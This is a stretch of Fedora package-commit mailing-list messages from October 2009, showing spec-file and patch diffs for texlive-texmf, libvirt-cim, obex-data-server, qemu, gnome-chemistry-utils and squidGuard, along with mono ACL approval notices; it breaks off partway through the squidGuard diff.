     \let\lt at n@xt\lt at allowhyphens
-  \else
+\else
     \if\noexpand\lt at temp\string|%
-      \def\lt at n@xt{\lt at allowhyphens\@gobble}%
+        \def\lt at n@xt{\lt at allowhyphens\@gobble}%
     \fi
-  \fi
-  \lt at n@xt}%
+\fi\lt at n@xt}%
 \ldf at finish{latin}
 %%
 %% \CharacterTable


Index: texlive-filter-requires.sh
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/F-10/texlive-filter-requires.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- texlive-filter-requires.sh	29 Aug 2008 05:09:04 -0000	1.2
+++ texlive-filter-requires.sh	21 Oct 2009 18:42:26 -0000	1.3
@@ -1,2 +1,2 @@
 #!/bin/sh
-/usr/lib/rpm/perl.req "$@" | grep -v 'perl(\(Tk\|Win32\|only\|path_tre\|just\|Htex\|Pts\|a\)'
+/usr/lib/rpm/perl.req "$@" | grep -v 'perl(\(Tk\|Win32\|only\|path_tre\|just\|Htex\|Pts\|a\|Reg_macro\)'


Index: texlive-texmf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/F-10/texlive-texmf.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- texlive-texmf.spec	14 Oct 2008 11:34:35 -0000	1.30
+++ texlive-texmf.spec	21 Oct 2009 18:42:26 -0000	1.31
@@ -8,11 +8,13 @@
 %{!?_texmf_local: %global _texmf_local %{_usr}/local/share/texmf}
 
 %define	ptex_texmf_ver 2.5
-%define	f8_packaging 0
+
+# do not provide any perl deps (#516350)
+%define __perl_provides %{nil}
 
 Name:		texlive-texmf
 Version:	2007
-Release:	26%{?dist}
+Release:	31%{?dist}
 Summary:	Architecture independent parts of the TeX formatting system
 
 Group:		Applications/Publishing
@@ -43,7 +45,7 @@ Source99: texlive-filter-requires.sh
 %define __perl_requires %{SOURCE99}
 
 # speed up build, run only brp-compress, nothing else is needed
-%define __os_install_post /usr/lib/rpm/redhat/brp-compress %{nil}
+%define __os_install_post /usr/lib/rpm/brp-compress %{nil}
 
 # Source1000-: Japanese pTeX
 Source1000: ftp://ftp.ascii.co.jp/pub/TeX/ascii-ptex/tetex/ptex-texmf-%{ptex_texmf_ver}.tar.gz
@@ -59,6 +61,7 @@ Patch3:		texlive-2007-texmfconf.patch
 Patch4:		texlive-2007-romanian.patch
 Patch5:		texlive-2007-euro.patch
 Patch6:		texlive-2007-beamerblocks.patch
+Patch7:		texlive-2007-latin.patch
 
 # Patch1000-: Japanese pTeX
 Patch1001: texlive-2007-texmf.cnf-ptex.patch
@@ -130,11 +133,7 @@ Group:		Applications/Publishing
 Summary:	Texmf files needed for texlive-latex
 Requires:	texlive-texmf = %{version}-%{release}
 Requires:	texlive-texmf-errata-latex = %{version}
-%if !%{f8_packaging}
 Requires:	tex-preview
-%else
-Requires:	tetex-preview
-%endif
 
 %description latex
 This package contains the components of the TEXMF tree needed for the
@@ -186,6 +185,7 @@ install -p -m644 %{SOURCE50} texmf-var/d
 %patch4  -p0
 %patch5  -p0
 %patch6  -p0
+%patch7  -p1
 
 cp -p %{SOURCE91} .
 
@@ -406,10 +406,8 @@ install -d -m755 %{buildroot}%{_texmf_ve
 touch %{buildroot}%{_texmf_vendor}/ls-R
 touch %{buildroot}%{_texmf_conf}/ls-R
 
-%if !%{f8_packaging}
 # remove xdvi files, now packaged separately
 rm -rf %{buildroot}%{_texmf_var}/xdvi
-%endif
 
 # remove dvipdfmx files
 rm %{buildroot}%{_texmf_main}/dvipdfm/{dvipdfmx.cfg,EUC-UCS2,README,UniKSCms-UCS2-H,UniKSCms-UCS2-V}
@@ -421,10 +419,16 @@ rm %{buildroot}%{_texmf_main}/dvipdfm/co
 rm -rf %{buildroot}%{_texmf_main}/tex/latex/preview/
 rm -rf %{buildroot}%{_texmf_main}/doc/latex/preview/
 
-%if !%{f8_packaging}
+# remove binaries from splitindex (#476636)
+rm -rf %{buildroot}%{_texmf_main}/doc/latex/splitindex/*i386* \
+%{buildroot}%{_texmf_main}/doc/latex/splitindex/*.exe \
+%{buildroot}%{_texmf_main}/doc/latex/splitindex/*.class
+
 # remove $TEXMFMAIN/tex/texinfo to not to clash with texinfo (#226488)
 rm -rf %{buildroot}%{_texmf_main}/tex/texinfo/
-%endif
+
+# remove dvipdfm configuration file
+rm -rf %{buildroot}%{_texmf_main}/dvipdfm
 
 # create macro file for building texlive
 mkdir -p %{buildroot}%{_sysconfdir}/rpm
@@ -581,15 +585,13 @@ fi
 %defattr(-,root,root,-)
 %config(noreplace) %{_sysconfdir}/rpm/macros.texlive
 %doc texlive.%{version}.zip.list
+%dir %{_texmf_main}/bibtex
 %{_texmf_main}/bibtex/bib/
 %{_texmf_main}/bibtex/csf/
 %dir %{_texmf_main}/bibtex/bst
 %{_texmf_main}/bibtex/bst/[a-b]*/
 %{_texmf_main}/bibtex/bst/camel/
 %{_texmf_main}/bibtex/bst/[d-x]*/
-%dir %{_texmf_main}/dvipdfm
-%dir %{_texmf_main}/dvipdfm/config
-%{_texmf_main}/dvipdfm/config/config
 %dir %{_texmf_main}/fmtutil
 %{_texmf_main}/makeindex/
 %{_texmf_main}/metafont/
@@ -626,9 +628,6 @@ fi
 %{_texmf_main}/tex/lambda/base/*.def
 %{_texmf_main}/tex/lambda/base/*.sty
 %{_texmf_main}/tex/lambda/oinuit/
-%if %{f8_packaging}
-%{_texmf_main}/tex/texinfo/
-%endif
 %{_texmf_main}/tex/mex/
 %{_texmf_main}/tex/mltex/
 %{_texmf_main}/tex/plain/
@@ -668,23 +667,23 @@ fi
 %{_texmf_main}/web2c/pdftex.pool
 %{_texmf_main}/web2c/tex.pool
 # var
-%if %{f8_packaging}
-%dir %{_texmf_var}/xdvi
-%config(noreplace) %{_texmf_var}/xdvi/XDvi
-%endif
 %config(noreplace) %{_texmf_var}/web2c/mktex.cnf
-%{_texmf_var}/tex/generic/
-%{_texmf_var}/tex/plain/
+%dir %{_texmf_var}/tex/
+%{_texmf_var}/tex/generic
+%{_texmf_var}/tex/plain
 %dir %{_texmf_var}/fonts
 %dir %{_texmf_var}/fonts/map
 %dir %{_texmf_var}/fonts/map/dvipdfm
 %dir %{_texmf_var}/fonts/map/dvipdfm/updmap
+%dir %{_texmf_var}/fonts/map/dvips
+%dir %{_texmf_var}/fonts/map/pdftex
 %ghost %{_texmf_var}/fonts/map/dvipdfm/updmap/*
 %dir %{_texmf_var}/fonts/map/dvips/updmap
 %ghost %{_texmf_var}/fonts/map/dvips/updmap/*
 %dir %{_texmf_var}/fonts/map/pdftex/updmap
 %ghost %{_texmf_var}/fonts/map/pdftex/updmap/*
-%{_texmf_var}/dvipdfm/
+%{_texmf_var}/dvipdfm
+%{_texmf_var}/web2c
 # info
 %{_infodir}/tds.info.*
 # ls-R
@@ -775,9 +774,9 @@ fi
 
 %files fonts
 %defattr(-,root,root,-)
+%dir %{_texmf_main}/fonts
 %dir %{_texmf_main}/fonts/enc
 %dir %{_texmf_main}/fonts/map
-%dir %{_texmf_main}/fonts
 %{_texmf_main}/fonts/map/fontname/
 %{_texmf_main}/fonts/cmap/
 %{_texmf_main}/fonts/ofm/
@@ -829,6 +828,16 @@ fi
 %doc %{_texmf_main}/doc/
 
 %changelog
+* Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
+- do not conflict with dvipdfm
+- update perl requires filter
+- update latin.ldf (#469948)
+- do not provide any perl dependencies (#516350)
+- remove binaries from splitindex (#476636)
+- add unowned dirs into the filelist (#474027)
+- fix patch to brp-compress script (#468179)
+- remove F8 related chunks from spec
+
 * Mon Oct 13 2008 Jindrich Novy <jnovy at redhat.com> - 2007-26
 - increase limits in texmf.cnf so that PostgreSQL documentation build
   passes (#460982)



From kaitlin at fedoraproject.org  Wed Oct 21 18:57:08 2009
From: kaitlin at fedoraproject.org (Kaitlin Rupert)
Date: Wed, 21 Oct 2009 18:57:08 +0000 (UTC)
Subject: rpms/libvirt-cim/F-11 .cvsignore, 1.13, 1.14 libvirt-cim.spec, 1.27,
	1.28 sources, 1.15, 1.16
Message-ID: <20091021185708.80B0811C00E8@cvs1.fedora.phx.redhat.com>

Author: kaitlin

Update of /cvs/pkgs/rpms/libvirt-cim/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21570

Modified Files:
	.cvsignore libvirt-cim.spec sources 
Log Message:
Upload 0.5.7.tar.gz for 0.5.7 release.  Also, update spec file with new
release info.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-cim/F-11/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	1 May 2009 14:52:53 -0000	1.13
+++ .cvsignore	21 Oct 2009 18:57:08 -0000	1.14
@@ -1,3 +1,4 @@
 libvirt-cim-0.5.3.tar.gz
 libvirt-cim-0.5.4.tar.gz
 libvirt-cim-0.5.5.tar.gz
+libvirt-cim-0.5.7.tar.gz


Index: libvirt-cim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-cim/F-11/libvirt-cim.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- libvirt-cim.spec	1 May 2009 15:02:04 -0000	1.27
+++ libvirt-cim.spec	21 Oct 2009 18:57:08 -0000	1.28
@@ -2,8 +2,8 @@
 
 Summary: A CIM provider for libvirt
 Name: libvirt-cim
-Version: 0.5.5
-Release: 1%{?dist}.1
+Version: 0.5.7
+Release: 1%{?dist}
 License: LGPLv2+
 Group: Development/Libraries
 Source: libvirt-cim-%{version}.tar.gz
@@ -117,11 +117,16 @@ rm -fr $RPM_BUILD_ROOT
 %{_datadir}/libvirt-cim/cimv*-interop_mof
 %{_datadir}/libvirt-cim/cimv*-cimv2_mof
 %{_datadir}/libvirt-cim/*.registration
-%{_datadir}/libvirt-cim/fix_schema.patch
-%{_datadir}/libvirt-cim/cimv*-MOFs.zip
+%{_datadir}/libvirt-cim/cim_schema_*-MOFs.zip
 /etc/ld.so.conf.d/libvirt-cim.conf
 
 %changelog
+* Tue Oct 5 2009 Kaitlin Rupert <kaitlin at us.ibm.com> - 0.5.7-1
+- Updated to latest upstream source
+
+* Tue Jul 14 2009 Kaitlin Rupert <kaitlin at us.ibm.com> - 0.5.6-1
+- Updated to latest upstream source
+
 * Tue Apr 21 2009 Kaitlin Rupert <kaitlin at us.ibm.com> - 0.5.5-1
 - Updated to latest upstream source
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt-cim/F-11/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	1 May 2009 14:52:53 -0000	1.15
+++ sources	21 Oct 2009 18:57:08 -0000	1.16
@@ -1,3 +1,4 @@
 69ad4eb18622482e6cd99c4c20ed01b0  libvirt-cim-0.5.3.tar.gz
 26cec2226701a063325fac8f6e8cb75b  libvirt-cim-0.5.4.tar.gz
 dec0c3647ea3aa713022b31576e0b202  libvirt-cim-0.5.5.tar.gz
+811a7e2a3c51424067a1252376bad604  libvirt-cim-0.5.7.tar.gz



From hadess at fedoraproject.org  Wed Oct 21 18:59:49 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 21 Oct 2009 18:59:49 +0000 (UTC)
Subject: rpms/obex-data-server/devel .cvsignore, 1.15,
	1.16 obex-data-server.spec, 1.23, 1.24 sources, 1.15, 1.16
Message-ID: <20091021185949.50E5011C00E8@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/obex-data-server/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22400

Modified Files:
	.cvsignore obex-data-server.spec sources 
Log Message:
* Wed Oct 21 2009 Bastien Nocera <bnocera at redhat.com> 0.4.5-1
- Update to 0.4.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/obex-data-server/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	8 Feb 2009 19:03:18 -0000	1.15
+++ .cvsignore	21 Oct 2009 18:59:48 -0000	1.16
@@ -1 +1 @@
-obex-data-server-0.4.3.tar.gz
+obex-data-server-0.4.5.tar.gz


Index: obex-data-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/obex-data-server/devel/obex-data-server.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- obex-data-server.spec	10 Sep 2009 17:40:35 -0000	1.23
+++ obex-data-server.spec	21 Oct 2009 18:59:49 -0000	1.24
@@ -1,6 +1,6 @@
 Name:		obex-data-server
-Version:	0.4.3
-Release:	4%{?dist}
+Version:	0.4.5
+Release:	1%{?dist}
 Epoch:		1
 Summary:	D-Bus service for Obex access
 
@@ -64,6 +64,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/obex-data-server.1.gz
 
 %changelog
+* Wed Oct 21 2009 Bastien Nocera <bnocera at redhat.com> 0.4.5-1
+- Update to 0.4.5
+
 * Thu Sep 10 2009 Karsten Hopp <karsten at redhat.com> 0.4.3-4
 - ExcludeArch s390 s390x where we don't have openobex
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/obex-data-server/devel/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	8 Feb 2009 19:03:18 -0000	1.15
+++ sources	21 Oct 2009 18:59:49 -0000	1.16
@@ -1 +1 @@
-ffdf8301b28c2dd8e21fc6e04946dd98  obex-data-server-0.4.3.tar.gz
+8b11e7527c1e3a36a2a9a0c52816ec7b  obex-data-server-0.4.5.tar.gz



From pkgdb at fedoraproject.org  Wed Oct 21 19:03:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 19:03:33 +0000
Subject: [pkgdb] mono (Fedora, 10) updated by toshio
Message-ID: <20091021190333.58F5F10F892@bastion2.fedora.phx.redhat.com>

toshio approved watchbugzilla on mono (Fedora 11) for chkr
toshio approved watchcommits on mono (Fedora 11) for chkr
toshio approved commit on mono (Fedora 11) for chkr
toshio approved build on mono (Fedora 11) for chkr
toshio approved approveacls on mono (Fedora 11) for chkr
toshio approved watchbugzilla on mono (Fedora 11) for salimma
toshio approved watchcommits on mono (Fedora 11) for salimma
toshio approved commit on mono (Fedora 11) for salimma
toshio approved build on mono (Fedora 11) for salimma
toshio approved approveacls on mono (Fedora 11) for salimma

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Wed Oct 21 19:03:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 19:03:33 +0000
Subject: [pkgdb] mono (Fedora, 10) updated by toshio
Message-ID: <20091021190333.9C0E410F8A2@bastion2.fedora.phx.redhat.com>

toshio approved watchbugzilla on mono (Fedora 12) for chkr
toshio approved watchcommits on mono (Fedora 12) for chkr
toshio approved commit on mono (Fedora 12) for chkr
toshio approved build on mono (Fedora 12) for chkr
toshio approved approveacls on mono (Fedora 12) for chkr
toshio approved watchbugzilla on mono (Fedora 12) for salimma
toshio approved watchcommits on mono (Fedora 12) for salimma
toshio approved commit on mono (Fedora 12) for salimma
toshio approved build on mono (Fedora 12) for salimma
toshio approved approveacls on mono (Fedora 12) for salimma

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Wed Oct 21 19:03:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 19:03:33 +0000
Subject: [pkgdb] mono (Fedora, 10) updated by toshio
Message-ID: <20091021190333.ACF9110F8B1@bastion2.fedora.phx.redhat.com>

toshio approved watchbugzilla on mono (Fedora devel) for chkr
toshio approved watchcommits on mono (Fedora devel) for chkr
toshio approved commit on mono (Fedora devel) for chkr
toshio approved build on mono (Fedora devel) for chkr
toshio approved approveacls on mono (Fedora devel) for chkr
toshio approved watchbugzilla on mono (Fedora devel) for salimma
toshio approved watchcommits on mono (Fedora devel) for salimma
toshio approved commit on mono (Fedora devel) for salimma
toshio approved build on mono (Fedora devel) for salimma
toshio approved approveacls on mono (Fedora devel) for salimma

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Wed Oct 21 19:03:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 19:03:33 +0000
Subject: [pkgdb] mono (Fedora, 10) updated by toshio
Message-ID: <20091021190333.B67F510F8B5@bastion2.fedora.phx.redhat.com>

toshio approved watchbugzilla on mono (Fedora 10) for chkr
toshio approved watchcommits on mono (Fedora 10) for chkr
toshio approved commit on mono (Fedora 10) for chkr
toshio approved build on mono (Fedora 10) for chkr
toshio approved approveacls on mono (Fedora 10) for chkr
toshio approved watchbugzilla on mono (Fedora 10) for salimma
toshio approved watchcommits on mono (Fedora 10) for salimma
toshio approved commit on mono (Fedora 10) for salimma
toshio approved build on mono (Fedora 10) for salimma
toshio approved approveacls on mono (Fedora 10) for salimma

To make changes to this package see:
  /pkgdb/packages/name/mono



From pkgdb at fedoraproject.org  Wed Oct 21 19:04:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 21 Oct 2009 19:04:07 +0000
Subject: [pkgdb] mono (Fedora EPEL, 5) updated by toshio
Message-ID: <20091021190407.B1FA210F87F@bastion2.fedora.phx.redhat.com>

toshio approved watchbugzilla on mono (Fedora EPEL 5) for salimma
toshio approved watchcommits on mono (Fedora EPEL 5) for salimma
toshio approved commit on mono (Fedora EPEL 5) for salimma
toshio approved build on mono (Fedora EPEL 5) for salimma
toshio approved approveacls on mono (Fedora EPEL 5) for salimma

To make changes to this package see:
  /pkgdb/packages/name/mono



From glommer at fedoraproject.org  Wed Oct 21 19:25:00 2009
From: glommer at fedoraproject.org (Glauber Costa)
Date: Wed, 21 Oct 2009 19:25:00 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu-properly-save-kvm-system-time-registers.patch, 
	NONE, 1.1 qemu.spec, 1.144, 1.145
Message-ID: <20091021192500.8DC6E11C00E8@cvs1.fedora.phx.redhat.com>

Author: glommer

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30196

Modified Files:
	qemu.spec 
Added Files:
	qemu-properly-save-kvm-system-time-registers.patch 
Log Message:
Properly save kvm time registers (#524229)



qemu-properly-save-kvm-system-time-registers.patch:
 qemu-kvm-x86.c        |   15 +++++++++++++--
 target-i386/cpu.h     |    5 ++++-
 target-i386/machine.c |    9 ++++++++-
 3 files changed, 25 insertions(+), 4 deletions(-)

--- NEW FILE qemu-properly-save-kvm-system-time-registers.patch ---
>From 20a3c3095744ea65b4dfb5365efea8cdb802f7f5 Mon Sep 17 00:00:00 2001
From: Glauber Costa <glommer at redhat.com>
Date: Wed, 21 Oct 2009 10:52:46 -0400
Subject: [PATCH] properly save kvm system time msr registers

Currently, the msrs involved in setting up pvclock are not saved over
migration and/or save/restore. This patch puts their value in special
fields in our CPUState, and deal with them using vmstate.

kvm also has to account for it, by including them in the msr list
for the ioctls.

Fedora-patch: qemu-properly-save-kvm-system-time-registers.patch
Signed-off-by: Glauber Costa <glommer at redhat.com>
---
 qemu-kvm-x86.c        |   15 +++++++++++++--
 target-i386/cpu.h     |    5 ++++-
 target-i386/machine.c |    8 ++++++++
 3 files changed, 25 insertions(+), 3 deletions(-)

diff --git a/qemu-kvm-x86.c b/qemu-kvm-x86.c
index d5436b6..300e6c2 100644
--- a/qemu-kvm-x86.c
+++ b/qemu-kvm-x86.c
@@ -839,6 +839,12 @@ static int get_msr_entry(struct kvm_msr_entry *entry, CPUState *env)
         case MSR_VM_HSAVE_PA:
             env->vm_hsave     = entry->data;
             break;
+        case MSR_KVM_SYSTEM_TIME:
+            env->system_time_msr = entry->data;
+            break;
+        case MSR_KVM_WALL_CLOCK:
+            env->wall_clock_msr = entry->data;
+            break;
         default:
             printf("Warning unknown msr index 0x%x\n", entry->index);
             return 1;
@@ -847,9 +853,9 @@ static int get_msr_entry(struct kvm_msr_entry *entry, CPUState *env)
 }
 
 #ifdef TARGET_X86_64
-#define MSR_COUNT 10
+#define MSR_COUNT 12
 #else
-#define MSR_COUNT 6
+#define MSR_COUNT 8
 #endif
 
 static void set_v8086_seg(struct kvm_segment *lhs, const SegmentCache *rhs)
@@ -1007,6 +1013,8 @@ void kvm_arch_load_regs(CPUState *env)
         set_msr_entry(&msrs[n++], MSR_LSTAR  ,           env->lstar);
     }
 #endif
+    set_msr_entry(&msrs[n++], MSR_KVM_SYSTEM_TIME,  env->system_time_msr);
+    set_msr_entry(&msrs[n++], MSR_KVM_WALL_CLOCK,  env->wall_clock_msr);
 
     rc = kvm_set_msrs(env->kvm_cpu_state.vcpu_ctx, msrs, n);
     if (rc == -1)
@@ -1184,6 +1192,9 @@ void kvm_arch_save_regs(CPUState *env)
         msrs[n++].index = MSR_LSTAR;
     }
 #endif
+    msrs[n++].index = MSR_KVM_SYSTEM_TIME;
+    msrs[n++].index = MSR_KVM_WALL_CLOCK;
+
     rc = kvm_get_msrs(env->kvm_cpu_state.vcpu_ctx, msrs, n);
     if (rc == -1) {
         perror("kvm_get_msrs FAILED");
diff --git a/target-i386/cpu.h b/target-i386/cpu.h
index 08200ed..22e76ec 100644
--- a/target-i386/cpu.h
+++ b/target-i386/cpu.h
@@ -640,6 +640,9 @@ typedef struct CPUX86State {
     target_ulong fmask;
     target_ulong kernelgsbase;
 #endif
+    uint64_t system_time_msr;
+    uint64_t wall_clock_msr;
+
 
     uint64_t tsc;
 
@@ -867,7 +870,7 @@ static inline int cpu_get_time_fast(void)
 #define cpu_signal_handler cpu_x86_signal_handler
 #define cpu_list x86_cpu_list
 
-#define CPU_SAVE_VERSION 10
+#define CPU_SAVE_VERSION 11
 
 /* MMU modes definitions */
 #define MMU_MODE0_SUFFIX _kernel
diff --git a/target-i386/machine.c b/target-i386/machine.c
index ca32a92..4654508 100644
--- a/target-i386/machine.c
+++ b/target-i386/machine.c
@@ -174,6 +174,9 @@ void cpu_save(QEMUFile *f, void *opaque)
             qemu_put_be64s(f, &env->mce_banks[4*i + 3]);
         }
     }
+
+    qemu_put_be64s(f, &env->system_time_msr);
+    qemu_put_be64s(f, &env->wall_clock_msr);
  }
 
 #ifdef USE_X86LDOUBLE
@@ -405,5 +408,10 @@ int cpu_load(QEMUFile *f, void *opaque, int version_id)
             kvm_arch_load_mpstate(env);
         }
     }
+
+    if (version_id >= 11) {
+        qemu_get_be64s(f, &env->system_time_msr);
+        qemu_get_be64s(f, &env->wall_clock_msr);
+    }
     return 0;
 }
-- 
1.6.2.2



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.144
retrieving revision 1.145
diff -u -p -r1.144 -r1.145
--- qemu.spec	19 Oct 2009 10:33:42 -0000	1.144
+++ qemu.spec	21 Oct 2009 19:25:00 -0000	1.145
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 7%{?dist}
+Release: 8%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -52,6 +52,9 @@ Patch09: qemu-fix-qcow2-backing-file-wit
 # Fix potential segfault from too small MSR_COUNT (#528901)
 Patch10: qemu-fix-msr-count-potential-segfault.patch
 
+# Properly save kvm time registers (#524229)
+Patch11: qemu-properly-save-kvm-system-time-registers.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -249,6 +252,7 @@ such as kvmtrace and kvm_stat.
 %patch08 -p1
 %patch09 -p1
 %patch10 -p1
+%patch11 -p1
 
 %build
 # --build-id option is used fedora 8 onwards for giving info to the debug packages.
@@ -530,6 +534,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Wed Oct 21 2009 Glauber Costa <gcosta at redhat.com> - 2:0.11.0-8
+- Properly save kvm time registers (#524229)
+
 * Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-7
 - Fix potential segfault from too small MSR_COUNT (#528901)
 



From belegdol at fedoraproject.org  Wed Oct 21 19:26:11 2009
From: belegdol at fedoraproject.org (belegdol)
Date: Wed, 21 Oct 2009 19:26:11 +0000 (UTC)
Subject: rpms/gnome-chemistry-utils/F-10 gnome-chemistry-utils.spec, 1.35,
	1.36
Message-ID: <20091021192611.C26ED11C00E8@cvs1.fedora.phx.redhat.com>

Author: belegdol

Update of /cvs/extras/rpms/gnome-chemistry-utils/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31396

Modified Files:
	gnome-chemistry-utils.spec 
Log Message:
* Wed Oct 21 2009 Julian Sikorski <belegdol[at]gmail[dot]com> - 0.10.8-1.fc10.1
- Updated for new goffice



Index: gnome-chemistry-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/gnome-chemistry-utils/F-10/gnome-chemistry-utils.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- gnome-chemistry-utils.spec	10 Sep 2009 11:34:32 -0000	1.35
+++ gnome-chemistry-utils.spec	21 Oct 2009 19:26:11 -0000	1.36
@@ -1,6 +1,6 @@
 Name:           gnome-chemistry-utils
 Version:        0.10.8
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 Summary:        A set of chemical utilities
 
 Group:          Applications/Engineering
@@ -101,7 +101,7 @@ chrpath --delete  $RPM_BUILD_ROOT%{_bind
 chrpath --delete  $RPM_BUILD_ROOT%{_bindir}/gcrystal-0.10
 chrpath --delete  $RPM_BUILD_ROOT%{_bindir}/gspectrum-0.10
 chrpath --delete  $RPM_BUILD_ROOT%{_bindir}/gchemtable-0.10
-chrpath --delete  $RPM_BUILD_ROOT%{_libdir}/goffice/0.6.5/plugins/gchemutils/gchemutils.so
+chrpath --delete  $RPM_BUILD_ROOT%{_libdir}/goffice/0.6.6/plugins/gchemutils/gchemutils.so
 chrpath --delete  $RPM_BUILD_ROOT%{_libdir}/libgchempaint-0.10.so.%{version}
 chrpath --delete  $RPM_BUILD_ROOT%{_libexecdir}/chem-viewer
 chrpath --delete  $RPM_BUILD_ROOT%{_libdir}/gchemutils/0.10/plugins/cdx/cdx.so
@@ -193,7 +193,7 @@ scrollkeeper-update -q || :
 %{_bindir}/gspectrum
 %{_bindir}/gspectrum-0.10
 %{_libdir}/gchemutils
-%{_libdir}/goffice/0.6.5/plugins/gchemutils
+%{_libdir}/goffice/0.6.6/plugins/gchemutils
 %{_libdir}/libgchempaint-0.10.so.*
 %{_libdir}/libgcpcanvas-0.10.so.*
 %{_libdir}/libgcu-0.10.so.*
@@ -234,6 +234,9 @@ scrollkeeper-update -q || :
 
 
 %changelog
+* Wed Oct 21 2009 Julian Sikorski <belegdol[at]gmail[dot]com> - 0.10.8-1.fc10.1
+- Updated for new goffice
+
 * Thu Sep 10 2009 Julian Sikorski <belegdol[at]gmail[dot]com> - 0.10.8-1
 - Updated to 0.10.8
 



From limb at fedoraproject.org  Wed Oct 21 19:35:22 2009
From: limb at fedoraproject.org (Jon Ciesla)
Date: Wed, 21 Oct 2009 19:35:22 +0000 (UTC)
Subject: rpms/squidGuard/devel squidGuard.logrotate, 1.1, 1.2 squidGuard.spec,
	1.20, 1.21
Message-ID: <20091021193522.6E79111C00E8@cvs1.fedora.phx.redhat.com>

Author: limb

Update of /cvs/pkgs/rpms/squidGuard/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1202

Modified Files:
	squidGuard.logrotate squidGuard.spec 
Log Message:
BZ 522038



Index: squidGuard.logrotate
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/devel/squidGuard.logrotate,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- squidGuard.logrotate	6 Sep 2005 10:50:41 -0000	1.1
+++ squidGuard.logrotate	21 Oct 2009 19:35:22 -0000	1.2
@@ -1,5 +1,6 @@
-/var/log/squid/squidGuard.log {
+/var/log/squidGuard/* {
     weekly
+    olddir /var/log/squidGuard/old
     compress
     notifempty
     missingok


Index: squidGuard.spec
===================================================================
RCS file: /cvs/pkgs/rpms/squidGuard/devel/squidGuard.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- squidGuard.spec	9 Sep 2009 17:51:25 -0000	1.20
+++ squidGuard.spec	21 Oct 2009 19:35:22 -0000	1.21
@@ -7,7 +7,7 @@
 
 Name:			squidGuard
 Version:		1.4
-Release:		6%{?dist}
+Release:		7%{?dist}
 Summary:		Filter, redirector and access controller plugin for squid
 
 Group:			System Environment/Daemons
@@ -15,7 +15,7 @@ License:		GPLv2
 
 Source0:		http://www.squidguard.org/Downloads/squidGuard-%{version}.tar.gz
 Source1:		squidGuard.logrotate
-Source2:		http://ftp.teledanmark.no/pub/www/proxy/%{name}/contrib/blacklists.tar.gz
+Source2:		http://squidguard.mesd.k12.or.us/blacklists.tgz
 Source3:		http://cuda.port-aransas.k12.tx.us/squid-getlist.html
 
 # K12LTSP stuff
@@ -86,7 +86,7 @@ Neither squidGuard nor Squid can be used
 %build
 %configure \
 	--with-sg-config=%{_sysconfdir}/squid/squidGuard.conf \
-	--with-sg-logdir=%{_var}/log/squid \
+	--with-sg-logdir=%{_var}/log/squidGuard \
 	--with-sg-dbhome=%{_dbhomedir} \
 	--with-db-inc=%{_includedir}/db4.6.21 \
